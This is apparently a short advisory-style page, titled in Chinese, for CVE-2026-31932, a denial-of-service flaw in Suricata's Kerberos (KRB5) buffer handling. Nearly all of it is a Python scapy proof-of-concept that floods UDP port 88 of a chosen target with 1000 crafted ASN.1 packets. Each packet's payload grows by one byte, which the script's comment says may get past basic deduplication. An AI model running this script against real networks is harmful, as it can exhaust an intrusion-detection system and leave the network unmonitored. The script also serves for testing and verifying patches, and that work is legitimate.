CVE-2026-31932 Suricata KRB5缓冲拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-31932 (Conceptual) # This script sends crafted KRB5 traffic to test for performance degradation. # Usage: python3 poc.py <target_ip> import sys from scapy.all import IP, UDP, Raw, send def send_krb5_flood(target_ip): # KRB5 typically uses UDP/TCP port 88 port = 88 payload = b"\x6e\x81\x81\xaf\x30\x81\xac\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\x0a" # Generic ASN.1 start print(f"[*] Sending KRB5 packets to {target_ip}...") for i in range(1000): packet = IP(dst=target_ip) / UDP(sport=12345, dport=port) / Raw(load=payload) send(packet, verbose=0) # Add variation to payload if necessary to bypass basic deduplication payload += b"\x00" print("[+] Packets sent. Monitor Suricata CPU usage.") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) send_krb5_flood(sys.argv[1])